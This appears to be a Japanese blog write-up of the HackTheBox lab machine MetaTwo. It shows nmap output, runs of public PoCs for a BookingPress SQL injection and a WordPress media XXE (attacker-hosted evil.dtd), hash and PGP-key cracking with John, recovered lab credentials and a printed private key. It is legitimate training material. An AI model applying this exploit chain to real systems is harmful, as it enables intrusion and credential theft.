1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【HackTheBox Writeup】MetaTwo

Last updated at Posted at 2023-05-04

始めに

Hack The Box の MetaTwo を攻略していきます.
初心者なのであしからず.
実際には書いてある事以外にも様々な試行錯誤をしましたが, 必要な点だけ抜き出してます.

マシンの情報

  • マシン名: MetaTwo
  • OS: Linux
  • 難易度: Easy

攻略

User まで

nmap

/etc/hostsmetatwo.htb を追加して nmap.

$ nmap -sC -sV metatwo.htb                                                                      
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-04 23:39 JST
Nmap scan report for metatwo.htb (10.10.11.186)
Host is up (0.12s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
|   256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_  256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.92%I=7%D=11/4%Time=6365244D%P=x86_64-pc-linux-gnu%r(Gene
SF:ricLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10\
SF:.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cre
SF:ative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creative
SF:\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

動いているのは ftp, ssh, http の3つ.
取り合えず web を見てみる.

Web

ブラウザでアクセスすると metapress.htb にリダイレクトされるのでそれも /etc/hosts に追加する.トップページにあるリンクを見ると予約フォーム?の様なものあり.
image.png
少し怪しそう. 情報を適当に入力して Burp でリクエストをチェックする.
image.png
14行目頭の bookingpress というのがプラグインの名前かなという事で悪用できないか調べてみると CVE-2022-0739 が出てくる.
この PoC を使ってみる.

$ python3 booking-press-expl.py -h                                   
- BookingPress PoC
usage: booking-press-expl.py [-h] -u URL -n NONCE

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL of wordpress server with vulnerable plugin (http://example.domain)
  -n NONCE, --nonce NONCE
                        Nonce that you got as unauthenticated user

nonce はさっきのリクエストの一番最後に書いてあるやつ.

$ python3 booking-press-expl.py -u http://metapress.htb -n 184e3161d4
- BookingPress PoC
-- Got db fingerprint:  10.5.15-MariaDB-0+deb11u1
-- Count of users:  2
|admin|admin@metapress.htb|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.|
|manager|manager@metapress.htb|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|

めでたく刺さり adminmaneger のパスワードのハッシュを get.
John The Ripper で crack してみる.

$ cat hash                                    
$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
                                                                                                                                                                                                                                           
$ john --wordlist=../wordlist/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
partylikearockstar (?)     
1g 0:00:01:12 7.34% (ETA: 21:36:14) 0.01388g/s 16593p/s 18125c/s 18125C/s tyhill..tyarna
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session aborted

パスワード partylikearockstar を get. (もう一つは中々出てこないので一旦中断. 多分無理なやつ.)
~/.john/john.pot を確認するとこれが maneger の方のパスワードである事が分かる.
さっそく /wp-login.php からログイン.
image.png

管理画面が出てくるが admin ではないのでできる事は少ない.
やはり Media が怪しそう.
image.png
php をアップロードしてみたが, はじかれてダメ.
何かないかと "wordpress media exploit" とかでググってみるとCVE-2021-29447が出てくる. XXE が出来るらしい. Author 権限ありそうだしバージョンも当てはまってるのでやってみる. 使ったのはこの PoC.
README 通りにやっていく(勿論 Step1 の Run WordPress はいらない). Step3 の echo コマンド及びファイル CVE-2021-29447/attacker/www/evil.dtd の中の ip アドレスを自分の物に書き換える事に注意.
すると上手く行って XXE で file が読めるようになる. evil.dtd の中の resource を色々変えて読んでみる.

  • /etc/passwd からユーザ名 jnelson が得られる.
  • http の config ファイルという事で /etc/nginx/nginx.conf を見てみるとドキュメントルートが /var/www/metapress.htb/blog である事が分かる.
  • その下を掘る. /var/www/metapress.htb/blog/wp-config.php を見ると色々 cred が載っており, 特に FTP の cred metapress.htb:9NYS_ii@FyL_p5M2NvJ を得る.

という事で FTP へ Go!

FTP

上の情報でログイン成功. ls すると blog の他に mailer というディレクトリがある.
その下に send_email.php というファイルがあり中身を確認すると jnelson のパスワード Cb4_JmWM8zUZWMu@Ys が書いてあるのでこれで ssh ログインしてみると成功する.
以上で User を get.

Root

さらに root を進めていく.
ホームディレクトリに .passpie なるディレクトリがあるので見てみると .passpie/ssh/root.pass なる明らかに怪しいファイルがある. passpie はパスワードマネージャで, GnuPG でパスワードを暗号化しているようだ.
秘密鍵は .passpie/ssh/.keys に書いてあるが, パスフレーズを知らないと使えない. そこで再び john に秘密鍵を crack してみてもらう.

$ cat private.asc           
-----BEGIN PGP PRIVATE KEY BLOCK-----

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
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----
                                                                                                                                                                                                                                           
$ gpg2john private.asc >hash

File private.asc

$ john --format=gpg -wordlist=../wordlist/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182         (Passpie)     
1g 0:00:00:09 DONE (2022-11-06 22:27) 0.1014g/s 16.63p/s 16.63c/s 16.63C/s peanut..blink182
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

無事 crack に成功. パスフレーズは blink182 と判明. そこで取り合えずリモート上で passpie コマンドを使ってパスワードを得ようとしたものの,
$ passpie export root@ssh
やら
$ passpie copy root@ssh
とやっても何も表示されない. 仕方ないので root.pass の中の PGP Message を gpg コマンドを使って直に解読した.
まずさっきの秘密鍵をインポートする.

$ gpg --import private.asc  
gpg: key 387775C35745D203: public key "Passpie (Auto-generated by Passpie) <passpie@local>" imported
gpg: key 387775C35745D203: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

次に解読.

$ gpg -d msg.txt          
gpg: encrypted with 1024-bit ELG key, ID A23EC25F8B5D831A, created 2022-06-26
      "Passpie (Auto-generated by Passpie) <passpie@local>"
p7qfAZt4_A1xo_0x       

パスワードは p7qfAZt4_A1xo_0x .
最後にこれで root ログインしたい訳だが, ssh だとできない(sshd_config を見ると デフォルトのPermitRootLogin prohibit-password のままになっている). だが su を使えばいい.

jnelson@meta2:~$ su root
Password: 
root@meta2:/home/jnelson# id
uid=0(root) gid=0(root) groups=0(root)

以上で root が取れた.

感想

Easy としては少し踏むべき段階が多いと思った.
User は XXE を得るところまでは割とスムーズに行ったがその後どのファイルを読んでいけばよいかで少し詰まってしまった.
Root の方は恥ずかしながら GnuPG の知識が全くなかった為, そこを勉強しつつ攻略したがかなりいい勉強になった.
後は今回用いた CVE 及びその PoC が何をやっているかを確認しないといけない... (元気があればこの Writeup に書き加えたい.)

ではまた!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?